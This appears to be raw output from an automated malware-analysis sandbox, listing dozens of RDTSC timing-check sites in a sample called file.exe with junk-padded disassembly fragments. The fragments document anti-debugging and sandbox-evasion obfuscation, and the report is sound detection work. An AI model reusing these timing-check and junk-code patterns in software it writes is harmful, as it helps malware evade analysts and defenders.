Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD4A0 second address: ABD4B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B30D7C39Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE265 second address: ABE27C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B312295F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE27C second address: ABE280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF1AD second address: ABF1BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F6B312295E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE3AA second address: ABE3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE44C second address: ABE450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE450 second address: ABE46B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0E45 second address: AC0E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0E49 second address: AC0E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0E4D second address: AC0ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F6B312295F6h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F6B312295E8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c sub dword ptr [ebp+12474837h], ebx 0x00000032 jmp 00007F6B312295EDh 0x00000037 push 00000000h 0x00000039 call 00007F6B312295F5h 0x0000003e mov dword ptr [ebp+122D1CC9h], esi 0x00000044 pop ebx 0x00000045 push 00000000h 0x00000047 mov ebx, dword ptr [ebp+122D2F6Ch] 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F6B312295ECh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC345E second address: AC3472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F6B30D7C396h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3472 second address: AC3477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3477 second address: AC348F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC348F second address: AC34FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ebx, eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F6B312295E8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a or bx, 2C87h 0x0000002f push 00000000h 0x00000031 jnp 00007F6B312295EDh 0x00000037 mov bx, 4D07h 0x0000003b xchg eax, esi 0x0000003c push ecx 0x0000003d jng 00007F6B312295ECh 0x00000043 pop ecx 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC44DB second address: AC44FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F6B30D7C3A5h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC44FC second address: AC4500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4500 second address: AC4504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC01D4 second address: AC01DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC01DC second address: AC01E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC01E0 second address: AC023A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F6B312295E6h 0x00000016 popad 0x00000017 pop edi 0x00000018 nop 0x00000019 stc 0x0000001a push dword ptr fs:[00000000h] 0x00000021 jc 00007F6B312295ECh 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov di, CE51h 0x00000032 mov eax, dword ptr [ebp+122D02E9h] 0x00000038 jmp 00007F6B312295EFh 0x0000003d push FFFFFFFFh 0x0000003f mov ebx, 555E26D1h 0x00000044 push eax 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC595D second address: AC5977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC86EB second address: AC86F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC86F7 second address: AC86FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC67F7 second address: AC67FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC797E second address: AC7982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD6A0 second address: ACD6B7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B312295EEh 0x00000008 js 00007F6B312295E6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD6B7 second address: ACD6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD6BB second address: ACD6D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6B312295F3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD6D8 second address: ACD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1026 second address: AD102D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD102D second address: AD1037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD644B second address: AD6471 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6B312295F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6509 second address: AD650D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD650D second address: AD6511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6511 second address: AD6532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F6B30D7C3A1h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6532 second address: AD6538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6538 second address: AD655A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jl 00007F6B30D7C3B4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B30D7C3A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD662B second address: AD6660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F6B312295E6h 0x00000015 popad 0x00000016 jnl 00007F6B312295ECh 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jno 00007F6B312295ECh 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6660 second address: AD668C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B30D7C3A8h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F6B30D7C396h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD668C second address: AD6692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBFBA second address: ADBFC5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F6B30D7C396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EC20 second address: A6EC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADADC9 second address: ADADD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB496 second address: ADB49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB5FA second address: ADB5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB5FE second address: ADB624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B312295EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B312295F0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBA0A second address: ADBA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBA0E second address: ADBA40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295ECh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F6B312295E6h 0x00000013 jmp 00007F6B312295F8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBA40 second address: ADBA44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBA44 second address: ADBA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB6C second address: ADBB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB70 second address: ADBB74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB74 second address: ADBB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB7E second address: ADBB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB82 second address: ADBB86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB86 second address: ADBB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB8C second address: ADBB91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE06CE second address: AE06D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE06D4 second address: AE06D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0891 second address: AE089B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE089B second address: AE08A5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6B30D7C39Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE08A5 second address: AE08B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F6B312295EAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0A10 second address: AE0A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0B8D second address: AE0B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0B93 second address: AE0B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6B30D7C396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0F70 second address: AE0F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE54C2 second address: AE54E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007F6B30D7C396h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnc 00007F6B30D7C396h 0x00000017 jnl 00007F6B30D7C396h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE54E1 second address: AE54E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE54E7 second address: AE54F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jg 00007F6B30D7C396h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE54F8 second address: AE5525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F6B312295E8h 0x0000000f jp 00007F6B312295ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE0EC second address: AEE0F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE690 second address: AEE694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE694 second address: AEE69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDCAE second address: AEDCC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6B312295EEh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDCC6 second address: AEDCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE96B second address: AEE970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE970 second address: AEE98B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A1h 0x00000007 js 00007F6B30D7C3A2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE98B second address: AEE99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6B312295E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE99E second address: AEE9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE9A2 second address: AEE9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE9A6 second address: AEE9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA79C second address: AAA7AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC03 second address: AAAC09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAEAE second address: AAAEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAEB3 second address: AAAF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6B30D7C39Bh 0x0000000d xchg eax, esi 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F6B30D7C398h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jp 00007F6B30D7C396h 0x00000032 jmp 00007F6B30D7C3A5h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAF06 second address: AAAF28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F6B312295E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F6B312295EFh 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAFA8 second address: AAAFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAFAC second address: AAAFB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6B312295E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB976 second address: AAB97A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB97A second address: AAB984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB984 second address: AAB9D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or ecx, 2C724E28h 0x00000010 lea eax, dword ptr [ebp+1247F551h] 0x00000016 cld 0x00000017 nop 0x00000018 pushad 0x00000019 jnp 00007F6B30D7C3AFh 0x0000001f jmp 00007F6B30D7C3A9h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6B30D7C3A9h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3750 second address: AF376E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6B312295F9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF376E second address: AF379C instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B30D7C3A9h 0x00000008 jmp 00007F6B30D7C3A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F6B30D7C3BDh 0x00000015 jg 00007F6B30D7C398h 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3901 second address: AF390D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
